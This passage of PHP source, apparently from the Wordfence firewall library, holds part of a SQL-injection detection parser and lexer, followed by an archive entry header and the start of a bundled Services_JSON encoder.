			if ($this->parseValueListClause()) {
				$this->parseInsertSubfix();
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * insert_header
	 * set_columns_cluase
	 * ( insert_subfix )?
	 *
	 * @return bool
	 */
	private function parseInsertStatement2() {
		$startIndex = $this->index;
		if ($this->parseInsertHeader() && $this->parseSetColumnsClause()) {
			$this->parseInsertSubfix();
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * insert_header
	 * (column_list)?
	 * select_expression
	 * ( insert_subfix )?
	 *
	 * @return bool
	 */
	private function parseInsertStatement3() {
		$startIndex = $this->index;
		if ($this->parseInsertHeader()) {
			$this->parseColumnList();
			if ($this->parseSelectStatement()) {
				$this->parseInsertSubfix();
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * INSERT (LOW_PRIORITY | HIGH_PRIORITY)? (IGNORE_SYM)?
	 *   (INTO)? table_spec
	 *   (partition_clause)?
	 *
	 * @return bool
	 */
	private function parseInsertHeader() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'insert')) {
			$savePoint = $this->index;
			// (LOW_PRIORITY | HIGH_PRIORITY)?
			if (!$this->isIdentifierWithValue($this->nextToken(), array(
				'LOW_PRIORITY', 'HIGH_PRIORITY'
			))
			) {
				$this->index = $savePoint;
			}

			// (IGNORE_SYM)?
			$savePoint = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), array(
				'IGNORE'
			))
			) {
				$this->index = $savePoint;
			}

			// (INTO)?
			$savePoint = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), array(
				'into'
			))
			) {
				$this->index = $savePoint;
			}

			// table_spec
			if ($this->parseTableSpec()) {
				$savePoint = $this->index;
				// (partition_clause)?
				if (!$this->parsePartitionClause()) {
					$this->index = $savePoint;
				}
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * (VALUES | VALUE_SYM) column_value_list (COMMA column_value_list)*;
	 *
	 * @return bool
	 */
	private function parseValueListClause() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), array(
			'value', 'values',
		))
		) {
			$hasValues = false;
			while ($this->parseColumnValueList()) {
				$hasValues = true;
				$savePoint = $this->index;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					$hasValues = false;
					continue;
				}
				$this->index = $savePoint;
				break;
			}
			if ($hasValues) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * LPAREN (bit_expr|DEFAULT) (COMMA (bit_expr|DEFAULT) )* RPAREN ;
	 *
	 * @return bool
	 */
	private function parseColumnValueList() {
		$startIndex = $this->index;
		if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::OPEN_PARENTHESIS)) {
			$hasValues = false;
			while (true) {
				$savePoint = $this->index;
				if (!$this->parseBitExpression() && !$this->isIdentifierWithValue($this->nextToken(), 'DEFAULT')) {
					$this->index = $savePoint;
					break;
				}
				$hasValues = true;
				$savePoint = $this->index;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					$hasValues = false;
					continue;
				}
				$this->index = $savePoint;
				break;
			}
			if ($hasValues && $this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::CLOSE_PARENTHESIS)) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	private function parseInsertSubfix() {
		// ON DUPLICATE_SYM KEY_SYM UPDATE column_spec EQ_SYM expression (COMMA column_spec EQ_SYM expression)*
		$startIndex = $this->index;
		if (
			$this->isIdentifierWithValue($this->nextToken(), 'on') &&
			$this->isIdentifierWithValue($this->nextToken(), 'duplicate') &&
			$this->isIdentifierWithValue($this->nextToken(), 'key') &&
			$this->isIdentifierWithValue($this->nextToken(), 'update')
		) {
			$hasValues = false;
			while (true) {
				$savePoint = $this->index;
				if ($this->parseColumnSpec() &&
					$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::EQUALS_SYMBOL) &&
					$this->parseExpression()
				) {
					$hasValues = true;
					$savePoint = $this->index;
					if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
						$hasValues = false;
						continue;
					}
					$this->index = $savePoint;
					break;
				}
				$this->index = $savePoint;
				break;
			}
			if ($hasValues) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * SET_SYM set_column_cluase ( COMMA set_column_cluase )*;
	 *
	 * @return bool
	 */
	private function parseSetColumnsClause() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'set')) {
			$hasValues = true;
			while ($this->parseSetColumnClause()) {
				$hasValues = true;
				$savePoint = $this->index;
				if ($this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::COMMA)) {
					$hasValues = false;
					continue;
				}
				$this->index = $savePoint;
				break;
			}
			if ($hasValues) {
				return true;
			}
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * column_spec EQ_SYM (expression|DEFAULT) ;
	 *
	 * @return bool
	 */
	private function parseSetColumnClause() {
		$startIndex = $this->index;
		if ($this->parseColumnSpec() &&
			$this->isTokenOfType($this->nextToken(), wfWAFSQLiLexer::EQUALS_SYMBOL) &&
			($this->parseExpression() || $this->isIdentifierWithValue($this->nextToken(), 'default'))
		) {
			return true;
		}
		$this->index = $startIndex;
		return false;
	}

	/**
	 * UPDATE (LOW_PRIORITY)? (IGNORE_SYM)? table_reference
	 *   set_columns_cluase
	 *   (where_clause)?
	 *   (orderby_clause)?
	 *   (limit_clause)?
	 * |
	 * UPDATE (LOW_PRIORITY)? (IGNORE_SYM)? table_references
	 *   set_columns_cluase
	 *   (where_clause)?
	 *
	 * @return bool
	 */
	private function parseUpdateStatement() {
		$startIndex = $this->index;
		if ($this->isIdentifierWithValue($this->nextToken(), 'update')) {
			$savePoint = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), 'LOW_PRIORITY')) {
				$this->index = $savePoint;
			}

			$savePoint = $this->index;
			if (!$this->isIdentifierWithValue($this->nextToken(), 'ignore')) {
				$this->index = $savePoint;
			}

			if ($this->parseTableReferences() && $this->parseSetColumnsClause()) {
				$this->parseWhere();
				$this->parseOrderBy();
				$this->parseLimit();
				return true;
			}
		}
		$this->index = $startIndex;
		return false;

	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isIdentifier($token) {
		return $token && ($token->getType() === wfWAFSQLiLexer::QUOTED_IDENTIFIER || $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param string|array $value
	 * @return bool
	 */
	private function isIdentifierWithValue($token, $value) {
		return $token && $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER &&
		(is_array($value) ? in_array($token->getLowerCaseValue(), array_map('wfWAFUtils::strtolower', $value)) :
			$token->getLowerCaseValue() === wfWAFUtils::strtolower($value));
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @param mixed $type
	 * @return bool
	 */
	protected function isTokenOfType($token, $type) {
		if (is_array($type)) {
			return $token && in_array($token->getType(), $type);
		}
		return $token && $token->getType() === $type;
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isNotSymbolToken($token) {
		return $token &&
		(
			($token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER && $token->getLowerCaseValue() === 'not') ||
			($token->getType() === wfWAFSQLiLexer::EXPR_NOT)
		);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isKeywordToken($token) {
		return $token && $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER &&
		in_array($token->getUpperCaseValue(), $this->keywords);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isReservedWordToken($token) {
		return $token && $token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER &&
		in_array($token->getUpperCaseValue(), $this->reservedWords);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isValidNonKeywordIdentifier($token) {
		return $token && (
			$token->getType() === wfWAFSQLiLexer::QUOTED_IDENTIFIER ||
			($token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER && !$this->isKeywordToken($token))
		);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isValidNonReservedWordIdentifier($token) {
		return $token && (
			$token->getType() === wfWAFSQLiLexer::QUOTED_IDENTIFIER ||
			($token->getType() === wfWAFSQLiLexer::UNQUOTED_IDENTIFIER && !$this->isReservedWordToken($token))
		);
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isValidIdentifier($token) {
		return $this->isTokenOfType($token, array(
			wfWAFSQLiLexer::QUOTED_IDENTIFIER,
			wfWAFSQLiLexer::UNQUOTED_IDENTIFIER
		));
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isOrToken($token) {
		return $token && ($this->isIdentifierWithValue($token, 'or') || $this->isTokenOfType($token, wfWAFSQLiLexer::EXPR_OR));
	}

	/**
	 * @param wfWAFLexerToken $token
	 * @return bool
	 */
	private function isAndToken($token) {
		return $token && ($this->isIdentifierWithValue($token, 'and') || $this->isTokenOfType($token, wfWAFSQLiLexer::EXPR_AND));
	}

	/**
	 * @return string
	 */
	public function getSubject() {
		return $this->subject;
	}

	/**
	 * @param string $subject
	 */
	public function setSubject($subject) {
		$this->subject = $subject;
		$this->setTokens(array());
		$this->lexer->setSQL($this->subject);
	}

	/**
	 * @return int
	 */
	public function getFlags() {
		return $this->flags;
	}

	/**
	 * @param int $flags
	 */
	public function setFlags($flags) {
		$this->flags = $flags;
		$this->lexer->setFlags($this->flags);
	}
}


class wfWAFSQLiLexer implements wfWAFLexerInterface {

	const FLAG_TOKENIZE_MYSQL_PORTABLE_COMMENTS = 0x1;

	const UNQUOTED_IDENTIFIER = 'UNQUOTED_IDENTIFIER';
	const VARIABLE = 'VARIABLE';
	const QUOTED_IDENTIFIER = 'QUOTED_IDENTIFIER';
	const DOUBLE_STRING_LITERAL = 'DOUBLE_STRING_LITERAL';
	const SINGLE_STRING_LITERAL = 'SINGLE_STRING_LITERAL';
	const INTEGER_LITERAL = 'INTEGER_LITERAL';
	const REAL_NUMBER_LITERAL = 'REAL_NUMBER_LITERAL';
	const BINARY_NUMBER_LITERAL = 'BINARY_NUMBER_LITERAL';
	const HEX_NUMBER_LITERAL = 'HEX_NUMBER_LITERAL';
	const DOT = 'DOT';
	const OPEN_PARENTHESIS = 'OPEN_PARENTHESIS';
	const CLOSE_PARENTHESIS = 'CLOSE_PARENTHESIS';
	const OPEN_BRACKET = 'OPEN_BRACKET';
	const CLOSE_BRACKET = 'CLOSE_BRACKET';
	const COMMA = 'COMMA';
	const EXPR_OR = 'EXPR_OR';
	const EXPR_AND = 'EXPR_AND';
	const EXPR_NOT = 'EXPR_NOT';
	const BIT_AND = 'BIT_AND';
	const BIT_LEFT_SHIFT = 'BIT_LEFT_SHIFT';
	const BIT_RIGHT_SHIFT = 'BIT_RIGHT_SHIFT';
	const BIT_XOR = 'BIT_XOR';
	const BIT_INVERSION = 'BIT_INVERSION';
	const BIT_OR = 'BIT_OR';
	const PLUS = 'PLUS';
	const MINUS = 'MINUS';
	const ASTERISK = 'ASTERISK';
	const DIVISION = 'DIVISION';
	const MOD = 'MOD';
	const ARROW = 'ARROW';
	const EQUALS_SYMBOL = 'EQUALS_SYMBOL';
	const NOT_EQUALS = 'NOT_EQUALS';
	const LESS_THAN = 'LESS_THAN';
	const GREATER_THAN = 'GREATER_THAN';
	const LESS_THAN_EQUAL_TO = 'LESS_THAN_EQUAL_TO';
	const GREATER_THAN_EQUAL_TO = 'GREATER_THAN_EQUAL_TO';
	const SET_VAR = 'SET_VAR';
	const RIGHT_BRACKET = 'RIGHT_BRACKET';
	const LEFT_BRACKET = 'LEFT_BRACKET';
	const SEMICOLON = 'SEMICOLON';
	const COLON = 'COLON';
	const MYSQL_PORTABLE_COMMENT_START = 'MYSQL_PORTABLE_COMMENT_START';
	const MYSQL_PORTABLE_COMMENT_END = 'MYSQL_PORTABLE_COMMENT_END';
	const SINGLE_LINE_COMMENT = 'SINGLE_LINE_COMMENT';
	const MULTI_LINE_COMMENT = 'MULTI_LINE_COMMENT';
	/**
	 * @var int
	 */
	private $flags;
	private $tokenMatchers;
	private $hasPortableCommentStart = false;

	public static function getLexerTokenMatchers() {
		static $tokenMatchers;
		if ($tokenMatchers === null) {
			$tokenMatchers = array(
				new wfWAFLexerTokenMatcher(self::REAL_NUMBER_LITERAL, '/^(?:[0-9]+\\.[0-9]+|[0-9]+\\.|\\.[0-9]+|[Ee][\\+\\-][0-9]+)/'),
				new wfWAFLexerTokenMatcher(self::BINARY_NUMBER_LITERAL, '/^(?:0b[01]+|[bB]\'[01]+\')/', true),
				new wfWAFLexerTokenMatcher(self::HEX_NUMBER_LITERAL, '/^(?:0x[0-9a-fA-F]+|[xX]\'[0-9a-fA-F]+\')/', true),
				new wfWAFLexerTokenMatcher(self::INTEGER_LITERAL, '/^[0-9]+/', true),
				new wfWAFLexerTokenMatcher(self::VARIABLE, '/^(?:@(?:`(?:[^`]*(?:``[^`]*)*)`|
"([^"\\\\]*(?:\\\\.[^"\\\\]*)*)"|
\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\'|
[a-zA-Z_\\$\\.]+|
@[a-zA-Z_\\$][a-zA-Z_\\$0-9]{0,256}){0,1})
/Asx'),
				new wfWAFLexerTokenMatcher(self::QUOTED_IDENTIFIER, '/^`(?:[^`]*(?:``[^`]*)*)`/As'),
				new wfWAFLexerTokenMatcher(self::DOUBLE_STRING_LITERAL, '/^(?:[nN]|_[0-9a-zA-Z\\$_]{0,256})?"([^"\\\\]*(?:\\\\.[^"\\\\]*)*)"/As'),
				new wfWAFLexerTokenMatcher(self::SINGLE_STRING_LITERAL, '/^(?:[nN]|_[0-9a-zA-Z\\$_]{0,256})?\'([^\'\\\\]*(?:\\\\.[^\'\\\\]*)*)\'/As'),
				// U+0080 .. U+FFFF
				new wfWAFLexerTokenMatcher(self::UNQUOTED_IDENTIFIER, '/^[0-9a-zA-Z\\$_\\x{0080}-\\x{FFFF}]{1,256}/u'),
				new wfWAFLexerTokenMatcher(self::MYSQL_PORTABLE_COMMENT_START, '/^\\/\\*\\![0-9]{0,5}/s'),
				new wfWAFLexerTokenMatcher(self::MYSQL_PORTABLE_COMMENT_END, '/^\\*\\//s'),
				new wfWAFLexerTokenMatcher(self::SINGLE_LINE_COMMENT, '/^(?:#[^\n]*|--(?:[ \t\r][^\n]*|[\n]))/'),
				new wfWAFLexerTokenMatcher(self::MULTI_LINE_COMMENT, '/^\\/\\*.*?\\*\\//s'),
				new wfWAFLexerTokenMatcher(self::DOT, '/^\\./'),
				new wfWAFLexerTokenMatcher(self::OPEN_PARENTHESIS, '/^\\(/'),
				new wfWAFLexerTokenMatcher(self::CLOSE_PARENTHESIS, '/^\\)/'),
				new wfWAFLexerTokenMatcher(self::OPEN_BRACKET, '/^\\{/'),
				new wfWAFLexerTokenMatcher(self::CLOSE_BRACKET, '/^\\}/'),
				new wfWAFLexerTokenMatcher(self::COMMA, '/^,/'),
				new wfWAFLexerTokenMatcher(self::EXPR_OR, '/^\\|\\|/'),
				new wfWAFLexerTokenMatcher(self::EXPR_AND, '/^&&/'),
				new wfWAFLexerTokenMatcher(self::BIT_LEFT_SHIFT, '/^\\<\\</'),
				new wfWAFLexerTokenMatcher(self::BIT_RIGHT_SHIFT, '/^\\>\\>/'),
				new wfWAFLexerTokenMatcher(self::EQUALS_SYMBOL, '/^(?:\\=|\\<\\=\\>)/'),
				new wfWAFLexerTokenMatcher(self::ARROW, '/^\\=\\>/'),
				new wfWAFLexerTokenMatcher(self::LESS_THAN_EQUAL_TO, '/^\\<\\=/'),
				new wfWAFLexerTokenMatcher(self::GREATER_THAN_EQUAL_TO, '/^\\>\\=/'),
				new wfWAFLexerTokenMatcher(self::NOT_EQUALS, '/^(?:\\<\\>|(?:\\!|\\~|\\^)\\=)/'),
				new wfWAFLexerTokenMatcher(self::LESS_THAN, '/^\\</'),
				new wfWAFLexerTokenMatcher(self::GREATER_THAN, '/^\\>/'),
				new wfWAFLexerTokenMatcher(self::SET_VAR, '/^:\\=/'),
				new wfWAFLexerTokenMatcher(self::BIT_XOR, '/^\\^/'),
				new wfWAFLexerTokenMatcher(self::BIT_INVERSION, '/^\\~/'),
				new wfWAFLexerTokenMatcher(self::BIT_OR, '/^\\|/'),
				new wfWAFLexerTokenMatcher(self::PLUS, '/^\\+/'),
				new wfWAFLexerTokenMatcher(self::MINUS, '/^\\-/'),
				new wfWAFLexerTokenMatcher(self::ASTERISK, '/^\\*/'),
				new wfWAFLexerTokenMatcher(self::DIVISION, '/^\\//'),
				new wfWAFLexerTokenMatcher(self::MOD, '/^%/'),
				new wfWAFLexerTokenMatcher(self::EXPR_NOT, '/^\\!/'),
				new wfWAFLexerTokenMatcher(self::BIT_AND, '/^&/'),
				new wfWAFLexerTokenMatcher(self::RIGHT_BRACKET, '/^\\]/'),
				new wfWAFLexerTokenMatcher(self::LEFT_BRACKET, '/^\\[/'),
				new wfWAFLexerTokenMatcher(self::SEMICOLON, '/^;/'),
				new wfWAFLexerTokenMatcher(self::COLON, '/^:/'),
			);
		}
		return $tokenMatchers;
	}

	/**
	 * @var string
	 */
	private $sql;

	/**
	 * @var wfWAFStringScanner
	 */
	private $scanner;

	/**
	 * wfWAFRuleLexer constructor.
	 * @param $sql
	 * @param int $flags
	 */
	public function __construct($sql = null, $flags = 0) {
		$this->scanner = new wfWAFStringScanner();
		$this->tokenMatchers = self::getLexerTokenMatchers();
		$this->setSQL($sql);
		$this->setFlags($flags);
	}

	/**
	 * @return array
	 * @throws wfWAFParserSyntaxError
	 */
	public function tokenize() {
		$tokens = array();
		while ($token = $this->nextToken()) {
			$tokens[] = $token;
		}
		return $tokens;
	}

	/**
	 * @return bool|wfWAFLexerToken
	 * @throws wfWAFParserSyntaxError
	 */
	public function nextToken() {
		if (!$this->scanner->eos()) {
			/** @var wfWAFLexerTokenMatcher $tokenMatcher */
			foreach ($this->tokenMatchers as $tokenMatcher) {
				$this->scanner->skip('/^\s+/s');
				if ($this->scanner->eos()) {
					return false;
				}

				if (($this->flags & self::FLAG_TOKENIZE_MYSQL_PORTABLE_COMMENTS) === 0 &&
					($tokenMatcher->getTokenID() === self::MYSQL_PORTABLE_COMMENT_START ||
						$tokenMatcher->getTokenID() === self::MYSQL_PORTABLE_COMMENT_END)
				) {
					continue;
				}
				if (!$this->hasPortableCommentStart && $tokenMatcher->getTokenID() === self::MYSQL_PORTABLE_COMMENT_END) {
					continue;
				}

				if ($tokenMatcher->useMaximalMunch() && ($match = $this->scanner->check($tokenMatcher->getMatch())) !== null) {
					$biggestToken = $this->createToken($tokenMatcher->getTokenID(), $match);
					/** @var wfWAFLexerTokenMatcher $tokenMatcher2 */
					foreach ($this->tokenMatchers as $tokenMatcher2) {
						if ($tokenMatcher === $tokenMatcher2) {
							continue;
						}
						if (($match2 = $this->scanner->check($tokenMatcher2->getMatch())) !== null) {
							$biggestToken2 = $this->createToken($tokenMatcher2->getTokenID(), $match2);
							if (wfWAFUtils::strlen($biggestToken2->getValue()) > wfWAFUtils::strlen($biggestToken->getValue())) {
								$biggestToken = $biggestToken2;
							}
						}
					}
					$this->scanner->advancePointer(wfWAFUtils::strlen($biggestToken->getValue()));
					return $biggestToken;

				} else if (($match = $this->scanner->scan($tokenMatcher->getMatch())) !== null) {
					$token = $this->createToken($tokenMatcher->getTokenID(), $match);
					if ($tokenMatcher->getTokenID() === self::MYSQL_PORTABLE_COMMENT_START) {
						$this->hasPortableCommentStart = true;
					} else if ($tokenMatcher->getTokenID() === self::MYSQL_PORTABLE_COMMENT_END) {
						$this->hasPortableCommentStart = false;
					}
					return $token;
				}
			}
			$char = $this->scanner->scanChar();
			$e = new wfWAFParserSyntaxError(sprintf('Invalid character "%s" (\x%02x) found on line %d, column %d',
				$char, ord($char), $this->scanner->getLine(), $this->scanner->getColumn()));
			$e->setParseLine($this->scanner->getLine());
			$e->setParseColumn($this->scanner->getColumn());
			throw $e;
		}
		return false;
	}

	public function hasMoreTokens() {

	}

	/**
	 * @param $type
	 * @param $value
	 * @return wfWAFLexerToken
	 */
	protected function createToken($type, $value) {
		return new wfWAFLexerToken($type, $value, $this->scanner->getLine(), $this->scanner->getColumn());
	}

	/**
	 * @return string
	 */
	public function getSQL() {
		return $this->sql;
	}

	/**
	 * @param string $sql
	 */
	public function setSQL($sql) {
		if (is_string($sql)) {
			$this->scanner->setString($sql);
		}
		$this->sql = $sql;
	}

	/**
	 * @return int
	 */
	public function getFlags() {
		return $this->flags;
	}

	/**
	 * @param int $flags
	 */
	public function setFlags($flags) {
		$this->flags = $flags;
	}

	/**
	 * Check if the given token type represents a literal value
	 * @param $type the token type
	 * @return bool true if the provided type is a value literal, false otherwise
	 */
	public function isValueLiteral($type){
		switch($type){
		case self::DOUBLE_STRING_LITERAL:
		case self::SINGLE_STRING_LITERAL:
		case self::INTEGER_LITERAL:
		case self::REAL_NUMBER_LITERAL:
		case self::BINARY_NUMBER_LITERAL:
		case self::HEX_NUMBER_LITERAL:
		case self::COMMA:
			return true;
		default:
			return false;
		}
	}

}

class wfWAFLexerTokenMatcher {
	/**
	 * @var mixed
	 */
	private $tokenID;
	/**
	 * @var string
	 */
	private $match;
	/**
	 * @var bool
	 */
	private $useMaximalMunch;


	/**
	 * @param mixed $tokenID
	 * @param string $match
	 * @param bool $useMaximalMunch
	 */
	public function __construct($tokenID, $match, $useMaximalMunch = false) {
		$this->tokenID = $tokenID;
		$this->match = $match;
		$this->useMaximalMunch = $useMaximalMunch;
	}

	/**
	 * @return bool
	 */
	public function useMaximalMunch() {
		return $this->useMaximalMunch;
	}

	/**
	 * @return mixed
	 */
	public function getTokenID() {
		return $this->tokenID;
	}

	/**
	 * @param mixed $tokenID
	 */
	public function setTokenID($tokenID) {
		$this->tokenID = $tokenID;
	}

	/**
	 * @return string
	 */
	public function getMatch() {
		return $this->match;
	}

	/**
	 * @param string $match
	 */
	public function setMatch($match) {
		$this->match = $match;
	}
}
}
PK       ! 71x  x    json.phpnu [        <?php
if (defined('WFWAF_VERSION') && !defined('WFWAF_RUN_COMPLETE')) {

/* vim: set expandtab tabstop=4 shiftwidth=4 softtabstop=4: */
/**
 * Converts to and from JSON format.
 *
 * JSON (JavaScript Object Notation) is a lightweight data-interchange
 * format. It is easy for humans to read and write. It is easy for machines
 * to parse and generate. It is based on a subset of the JavaScript
 * Programming Language, Standard ECMA-262 3rd Edition - December 1999.
 * This feature can also be found in  Python. JSON is a text format that is
 * completely language independent but uses conventions that are familiar
 * to programmers of the C-family of languages, including C, C++, C#, Java,
 * JavaScript, Perl, TCL, and many others. These properties make JSON an
 * ideal data-interchange language.
 *
 * This package provides a simple encoder and decoder for JSON notation. It
 * is intended for use with client-side Javascript applications that make
 * use of HTTPRequest to perform server communication functions - data can
 * be encoded into JSON notation for use in a client-side javascript, or
 * decoded from incoming Javascript requests. JSON format is native to
 * Javascript, and can be directly eval()'ed with no further parsing
 * overhead
 *
 * All strings should be in ASCII or UTF-8 format!
 *
 * LICENSE: Redistribution and use in source and binary forms, with or
 * without modification, are permitted provided that the following
 * conditions are met: Redistributions of source code must retain the
 * above copyright notice, this list of conditions and the following
 * disclaimer. Redistributions in binary form must reproduce the above
 * copyright notice, this list of conditions and the following disclaimer
 * in the documentation and/or other materials provided with the
 * distribution.
 *
 * THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED
 * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
 * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN
 * NO EVENT SHALL CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
 * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS
 * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
 * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
 * TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE
 * USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 *
 * @category
 * @package     Services_JSON
 * @author      Michal Migurski <mike-json@teczno.com>
 * @author      Matt Knapp <mdknapp[at]gmail[dot]com>
 * @author      Brett Stimmerman <brettstimmerman[at]gmail[dot]com>
 * @copyright   2005 Michal Migurski
 * @version     CVS: $Id: JSON.php 305040 2010-11-02 23:19:03Z alan_k $
 * @license     http://www.opensource.org/licenses/bsd-license.php
 * @link        http://pear.php.net/pepr/pepr-proposal-show.php?id=198
 */

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('WF_SERVICES_JSON_SLICE',   1);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('WF_SERVICES_JSON_IN_STR',  2);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('WF_SERVICES_JSON_IN_ARR',  3);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('WF_SERVICES_JSON_IN_OBJ',  4);

/**
 * Marker constant for Services_JSON::decode(), used to flag stack state
 */
define('WF_SERVICES_JSON_IN_CMT', 5);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('WF_SERVICES_JSON_LOOSE_TYPE', 16);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('WF_SERVICES_JSON_SUPPRESS_ERRORS', 32);

/**
 * Behavior switch for Services_JSON::decode()
 */
define('WF_SERVICES_JSON_USE_TO_JSON', 64);

/**
 * Converts to and from JSON format.
 *
 * Brief example of use:
 *
 * <code>
 * // create a new instance of Services_JSON
 * $json = new Services_JSON();
 *
 * // convert a complexe value to JSON notation, and send it to the browser
 * $value = array('foo', 'bar', array(1, 2, 'baz'), array(3, array(4)));
 * $output = $json->encode($value);
 *
 * print($output);
 * // prints: ["foo","bar",[1,2,"baz"],[3,[4]]]
 *
 * // accept incoming POST data, assumed to be in JSON notation
 * $input = file_get_contents('php://input', 1000000);
 * $value = $json->decode($input);
 * </code>
 */
class wfServices_JSON
{
	/**
	 * constructs a new JSON instance
	 *
	 * @param    int     $use    object behavior flags; combine with boolean-OR
	 *
	 *                           possible values:
	 *                           - SERVICES_JSON_LOOSE_TYPE:  loose typing.
	 *                                   "{...}" syntax creates associative arrays
	 *                                   instead of objects in decode().
	 *                           - SERVICES_JSON_SUPPRESS_ERRORS:  error suppression.
	 *                                   Values which can't be encoded (e.g. resources)
	 *                                   appear as NULL instead of throwing errors.
	 *                                   By default, a deeply-nested resource will
	 *                                   bubble up with an error, so all return values
	 *                                   from encode() should be checked with isError()
	 *                           - SERVICES_JSON_USE_TO_JSON:  call toJSON when serializing objects
	 *                                   It serializes the return value from the toJSON call rather
	 *                                   than the object itself, toJSON can return associative arrays,
	 *                                   strings or numbers, if you return an object, make sure it does
	 *                                   not have a toJSON method, otherwise an error will occur.
	 */
	function __construct( $use = 0 )
	{
		$this->use = $use;
		$this->_mb_strlen            = function_exists('mb_strlen');
		$this->_mb_convert_encoding  = function_exists('mb_convert_encoding');
		$this->_mb_substr            = function_exists('mb_substr');
	}

	/**
	 * PHP4 constructor.
	 */
	public function wfServices_JSON( $use = 0 ) {
		self::__construct( $use );
	}
	// private - cache the mbstring lookup results..
	var $_mb_strlen = false;
	var $_mb_substr = false;
	var $_mb_convert_encoding = false;

	/**
	 * convert a string from one UTF-16 char to one UTF-8 char
	 *
	 * Normally should be handled by mb_convert_encoding, but
	 * provides a slower PHP-only method for installations
	 * that lack the multibye string extension.
	 *
	 * @param    string  $utf16  UTF-16 character
	 * @return   string  UTF-8 character
	 * @access   private
	 */
	function utf162utf8($utf16)
	{
		// oh please oh please oh please oh please oh please
		if($this->_mb_convert_encoding) {
			return mb_convert_encoding($utf16, 'UTF-8', 'UTF-16');
		}

		$bytes = (ord($utf16[0]) << 8) | ord($utf16[1]);

		switch(true) {
			case ((0x7F & $bytes) == $bytes):
				// this case should never be reached, because we are in ASCII range
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return chr(0x7F & $bytes);

			case (0x07FF & $bytes) == $bytes:
				// return a 2-byte UTF-8 character
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return chr(0xC0 | (($bytes >> 6) & 0x1F))
				. chr(0x80 | ($bytes & 0x3F));

			case (0xFFFF & $bytes) == $bytes:
				// return a 3-byte UTF-8 character
				// see: http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
				return chr(0xE0 | (($bytes >> 12) & 0x0F))
				. chr(0x80 | (($bytes >> 6) & 0x3F))
				. chr(0x80 | ($bytes & 0x3F));
		}

		// ignoring UTF-32 for now, sorry
		return '';
	}

	/**
	 * convert a string from one UTF-8 char to one UTF-16 char
	 *
	 * Normally should be handled by mb_convert_encoding, but
	 * provides a slower PHP-only method for installations
	 * that lack the multibye string extension.
	 *
	 * @param    string  $utf8   UTF-8 character
	 * @return   string  UTF-16 character
	 * @access   private
	 */
	function utf82utf16($utf8)
	{
		// oh please oh please oh please oh please oh please
		if($this->_mb_convert_encoding) {
			return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
		}

		switch($this->strlen8($utf8)) {
			case 1:
